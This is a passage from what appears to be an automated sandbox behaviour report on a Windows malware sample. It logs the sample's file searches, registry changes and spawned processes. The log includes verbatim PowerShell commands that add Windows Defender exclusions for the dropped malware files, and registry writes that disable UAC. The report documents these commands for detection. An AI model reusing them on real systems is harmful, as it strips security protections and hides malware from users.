"00000000-00001920.00000002.82354.00440000.00000004.mdmp, 00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string "+ncalrpc:[OLE3AACAD4221444F26A707C598AE3B]" (Indicator: "ncalrpc"; Source: "00000000-00003284.00000001.85400.00300000.00000004.mdmp")56:T526,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00001216.00000001.88761.00280000.00000004.mdmp, 00000000-00003024.00000001.86003.00220000.00000004.mdmp, 00000000-00005488.00000001.88777.00390000.00000004.mdmp, 00000000-00005800.00000001.88885.003B0000.00000004.mdmp, 00000000-00005944.00000001.89465.00060000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00001572.00000002.82348.00310000.00000004.mdmp, 00000000-00001572.00000003.84004.00310000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00001920.00000002.82354.00440000.00000004.mdmp, 00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string ":\Windows\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string "crosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00001920.00000003.86942.04BD0000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00003284.00000001.85400.00300000.00000004.mdmp")57:T101f,Found string "name=|DataDirectory|aspnetdb.mdf;User Instance=true" providerName="System.Data.SqlClient"/>" (Indicator: "System.Data.SqlClient"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp"), Found string "" (Indicator: "System.Data.SqlClient"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp 00000000-00000824.00000001.86570.01C00000.00000004.mdmp"), Found string "System.Data.SqlClient" (Indicator: "System.Data.SqlClient"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp"), Found string "" (Indicator: "System.Data.SqlClient"; Source: "00000000-00003024.00000001.86003.01D70000.00000004.mdmp 00000000-00005488.00000001.88777.02110000.00000004.mdmp 00000000-00005800.00000001.88885.021F0000.00000004.mdmp 00000000-00005944.00000001.89465.01F50000.00000004.mdmp"), Found string "System.Data.SqlClient" (Indicator: "System.Data.SqlClient"; Source: "00000000-00003024.00000001.86003.01D70000.00000004.mdmp 00000000-00005488.00000001.88777.02110000.00000004.mdmp 00000000-00005800.00000001.88885.021F0000.00000004.mdmp"), Found string "ataDirectory|aspnetdb.mdf;User Instance=true" providerName="System.Data.SqlClient"/>" (Indicator: "System.Data.SqlClient"; Source: "00000000-00005488.00000001.88777.00390000.00000004.mdmp") Found string "me=|DataDirectory|aspnetdb.mdf;User Instance=true" providerName="System.Data.SqlClient"/>" (Indicator: "System.Data.SqlClient"; Source: "00000000-00005488.00000001.88777.00390000.00000004.mdmp"), Found string "SPI;AttachDBFilename=|DataDirectory|aspnetdb.mdf;User Instance=true" providerName="System.Data.SqlClient"/>" (Indicator: "System.Data.SqlClient"; Source: "00000000-00005800.00000001.88885.003B0000.00000004.mdmp") Found string "" (Indicator: "System.Data.SqlClient"; Source: "00000000-00001572.00000003.84004.00310000.00000004.mdmp, 00000000-00001572.00000003.84004.01E30000.00000004.mdmp") Found string "System.Data.SqlClient" (Indicator: "System.Data.SqlClient"; Source: "00000000-00001572.00000003.84004.01E30000.00000004.mdmp") Found string "" (Indicator: "System.Data.SqlClient"; Source: "00000000-00001920.00000002.82354.00440000.00000004.mdmp, 00000000-00001920.00000002.82354.01E10000.00000004.mdmp") Found string "System.Data.SqlClient" (Indicator: "System.Data.SqlClient"; Source: "00000000-00001920.00000002.82354.01E10000.00000004.mdmp") Found string "rue" providerName="System.Data.SqlClient"/>" (Indicator: "System.Data.SqlClient"; Source: "00000000-00003284.00000000.84597.00300000.00000004.mdmp 00000000-00003284.00000001.85400.00300000.00000004.mdmp"), Found string "connectionString="data source=.\SQLEXPRESS;Integrated Security=SSPI;AttachDBFilename=|DataDirectory|aspnetdb.mdf;User Instance=true" providerName="System.Data.SqlClient"/>" (Indicator: "System.Data.SqlClient"; Source: "00000000-00003284.00000001.85400.00300000.00000004.mdmp"), Found string "" (Indicator: "System.Data.SqlClient"; Source: "00000000-00003284.00000001.85400.021F0000.00000004.mdmp"), Found string "System.Data.SqlClient" (Indicator: "System.Data.SqlClient"; Source: "00000000-00003284.00000001.85400.021F0000.00000004.mdmp")58:Tade,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "FindFirstFileW" with parameter C:\a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "FindFirstFileW" with parameter QGmdpYGOg.bat (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "FindFirstFileW" with parameter \\?\C:\BlockproviderComponentweb\QGmdpYGOg.bat (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "FindFirstFileW" with parameter intoHostDhcp.exe (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "FindFirstFileW" with parameter \\?\C:\BlockproviderComponentweb\intoHostDhcp.exe (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "FindFirstFileW" with parameter no2eZG6mwS0.vbe (UID: 00000000-00005856) "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" called "FindFirstFileW" with parameter \\?\C:\BlockproviderComponentweb\no2eZG6mwS0.vbe (UID: 00000000-00005856) "WScript.exe" called "FindFirstFileW" with parameter C:\BlockproviderComponentweb\*.* (UID: 00000000-00005316) "WScript.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005316) "WScript.exe" called "FindNextFileW" with parameter intoHostDhcp.exe (UID: 00000000-00005316) "WScript.exe" called "FindNextFileW" with parameter no2eZG6mwS0.vbe (UID: 00000000-00005316) "WScript.exe" called "FindNextFileW" with parameter QGmdpYGOg.bat (UID: 00000000-00005316) "cmd.exe" called "FindFirstFileW" with parameter C:\BlockproviderComponentweb\*.* (UID: 00000000-00005780) "cmd.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005780) "cmd.exe" called "FindNextFileW" with parameter intoHostDhcp.exe (UID: 00000000-00005780) "cmd.exe" called "FindNextFileW" with parameter no2eZG6mwS0.vbe (UID: 00000000-00005780) "cmd.exe" called "FindNextFileW" with parameter QGmdpYGOg.bat (UID: 00000000-00005780) "intoHostDhcp.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00005752) "intoHostDhcp.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00005752) "intoHostDhcp.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005752) "intoHostDhcp.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00005752) "intoHostDhcp.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00005752) "intoHostDhcp.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00005752)59:T1976,Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp") Found string "FTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp") Found string "description="Uses RsaCryptoServiceProvider to encrypt and decrypt"" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp, 00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "aes"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ecdsa"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.MD5Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.SHA256Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.DpapiDataProtector, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.SHA1Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp") Found string "System.Security.Cryptography.HashAlgorithm" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000824.00000001.86570.01C00000.00000004.mdmp")5a:T4b6,"intoHostDhcp.exe" called an API "AdjustTokenPrivileges"on file: C:\Windows\System32\sspicli.dll" (UID: 00000000-00005752), "csrss.exe" called an API "AdjustTokenPrivileges"on file: C:\Windows\System32\sspicli.dll" (UID: 00000000-00006116) "wininit.exe" called an API "AdjustTokenPrivileges"on file: C:\Windows\System32\sspicli.dll" (UID: 00000000-00001920), "powershell.exe" called an API "AdjustTokenPrivileges" (UID: 00000000-00004068), "powershell.exe" called an API "AdjustTokenPrivileges" (UID: 00000000-00004328), "powershell.exe" called an API "AdjustTokenPrivileges" (UID: 00000000-00002716), "powershell.exe" called an API "AdjustTokenPrivileges" (UID: 00000000-00001248), "powershell.exe" called an API "AdjustTokenPrivileges" (UID: 00000000-00003876), "powershell.exe" called an API "AdjustTokenPrivileges" (UID: 00000000-00003824), "powershell.exe" called an API "AdjustTokenPrivileges" (UID: 00000000-00002964), "powershell.exe" called an API "AdjustTokenPrivileges" (UID: 00000000-00001704), "powershell.exe" called an API "AdjustTokenPrivileges" (UID: 00000000-00003720), "wininit.exe" called an API "AdjustTokenPrivileges"on file: C:\Windows\System32\sspicli.dll" (UID: 00000000-00004020)5b:Tba5,Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00000824.00000001.86570.00570000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001216.00000001.88761.00280000.00000004.mdmp, 00000000-00003024.00000000.85467.00220000.00000004.mdmp, 00000000-00003024.00000001.86003.00220000.00000004.mdmp, 00000000-00003672.00000000.89373.002E0000.00000004.mdmp, 00000000-00005488.00000001.88777.00390000.00000004.mdmp, 00000000-00005800.00000001.88885.003B0000.00000004.mdmp, 00000000-00005944.00000001.89465.00060000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001572.00000001.80427.00310000.00000004.mdmp, 00000000-00001572.00000002.82348.00310000.00000004.mdmp, 00000000-00001572.00000003.84004.00310000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00001920.00000001.80431.00440000.00000004.mdmp, 00000000-00001920.00000002.82354.00440000.00000004.mdmp, 00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string "\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string "\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string "\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string "\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00001920.00000003.86942.00440000.00000004.mdmp") Found string "\Device\{90A066FE-591C-47F3-850D-9644B684FBA5}" (Indicator: "\Device\"; Source: "00000000-00001920.00000003.86942.04BD0000.00000004.mdmp") Found string "\Device\HarddiskVolume1\??\Volume{dcbfaac3-d863-11e7-b9ff-806e6f6e6963}" (Indicator: "\Device\"; Source: "00000000-00001920.00000003.86942.04BD0000.00000004.mdmp") Found string "\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00001920.00000003.86942.04BD0000.00000004.mdmp") Found string "\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00001920.00000003.86942.04BD0000.00000004.mdmp") Found string "\Device\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}" (Indicator: "\Device\"; Source: "00000000-00001920.00000003.86942.04BD0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00003284.00000000.84597.00300000.00000004.mdmp, 00000000-00003284.00000001.85400.00300000.00000004.mdmp")5c:T9a3,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DEBUGHEAPFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "intoHostDhcp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "intoHostDhcp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "intoHostDhcp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "intoHostDhcp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "intoHostDhcp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "intoHostDhcp.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "")5d:T5e3,Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\intoHostDhcp.exe'" (UID: 00000000-00004068) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%USERPROFILE%\\Oracle\\Java\\javapath\\dllhost.exe'" (UID: 00000000-00004328) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\TorService\\tor\\pluggable_transports\\csrss.exe'" (UID: 00000000-00002716) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\OSPPSVC.exe'" (UID: 00000000-00001248) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\PLA\\Templates\\wininit.exe'" (UID: 00000000-00003876) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\Temp\\conhost.exe'" (UID: 00000000-00003824) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\L2Schemas\\csrss.exe'" (UID: 00000000-00002964) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\Media\\Quirky\\conhost.exe'" (UID: 00000000-00001704) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\BlockproviderComponentweb\\conhost.exe'" (UID: 00000000-00003720)5e:T106e,"a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "intoHostDhcp.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\172DA9ABC306C7E38C8A3688813E8F6E44987974"; Key: "AA467529980EC2200F8C4852F4D5288FE8741EBA"; Value: "WyJDOlxcQmxvY2twcm92aWRlckNvbXBvbmVudHdlYlxcaW50b0hvc3REaGNwLmV4ZSIsIkM6XFxVc2Vyc1xcQWxsIFVzZXJzXFxPcmFjbGVcXEphdmFcXGphdmFwYXRoXFxkbGxob3N0LmV4ZSIsIkM6XFxUb3JTZXJ2aWNlXFx0b3JcXHBsdWdnYWJsZV90cmFuc3BvcnRzXFxjc3Jzcy5leGUiLCJDOlxcQmxvY2twcm92aWRlckNvbXBvbmVudHdlYlxcT1NQUFNWQy5leGUiLCJDOlxcV2luZG93c1xcUExBXFxUZW1wbGF0ZXNcXHdpbmluaXQuZXhlIiwiQzpcXFRlbXBcXGNvbmhvc3QuZXhlIiwiQzpcXFdpbmRvd3NcXEwyU2NoZW1hc1xcY3Nyc3MuZXhlIiwiQzpcXFdpbmRvd3NcXE1lZGlhXFxRdWlya3lcXGNvbmhvc3QuZXhlIiwiQzpcXEJsb2NrcHJvdmlkZXJDb21wb25lbnR3ZWJcXGNvbmhvc3QuZXhlIl0=") "intoHostDhcp.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM"; Key: "ENABLELUA"; Value: "0000000000") "intoHostDhcp.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM"; Key: "CONSENTPROMPTBEHAVIORADMIN"; Value: "0000000000") "intoHostDhcp.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM"; Key: "PROMPTONSECUREDESKTOP"; Value: "0000000000") "intoHostDhcp.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\ACTION CENTER\CHECKS\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.CHECK.0"; Key: "CHECKSETTING"; Value: "#ACBlob") "intoHostDhcp.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "intoHostDhcp.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "wininit.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\WININIT_RASAPI32"; Key: "ENABLEFILETRACING"; Value: "0000000000") "wininit.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\WININIT_RASAPI32"; Key: "ENABLECONSOLETRACING"; Value: "0000000000") "wininit.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\WININIT_RASAPI32"; Key: "FILETRACINGMASK"; Value: "0000FFFF00") "wininit.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\WININIT_RASAPI32"; Key: "CONSOLETRACINGMASK"; Value: "0000FFFF00") "wininit.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\WININIT_RASAPI32"; Key: "MAXFILESIZE"; Value: "0000100000") "wininit.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\TRACING\WININIT_RASAPI32"; Key: "FILEDIRECTORY"; Value: "%windir%\tracing") "wininit.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\1C80584705A5491DD6138D519B1A77E6"; Key: "FA1D02B1B7BFF442C64DDC124C2E22BD"; Value: "c6dadb7dd98d66802f9ed3b04d0a545b") "wininit.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\ACTION CENTER\CHECKS\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.CHECK.0"; Key: "CHECKSETTING"; Value: "#ACBlob") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\137\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "powershell.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000")5f:Tdb9,Found string "SetDllDirectoryW" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: KERNEL32.DLL) Found string "SetDefaultDllDirectories" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: KERNELBASE.DLL) Found string "FlsAlloc" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: KERNELBASE.DLL) Found string "FlsFree" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: KERNELBASE.DLL) Found string "FlsGetValue" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: KERNELBASE.DLL) Found string "FlsSetValue" (Source: a8733ea13062f65d6aaeb65f8836f9c57bc3c3af7c0d04b94bd072ed2f56b1d1, API is part of module: 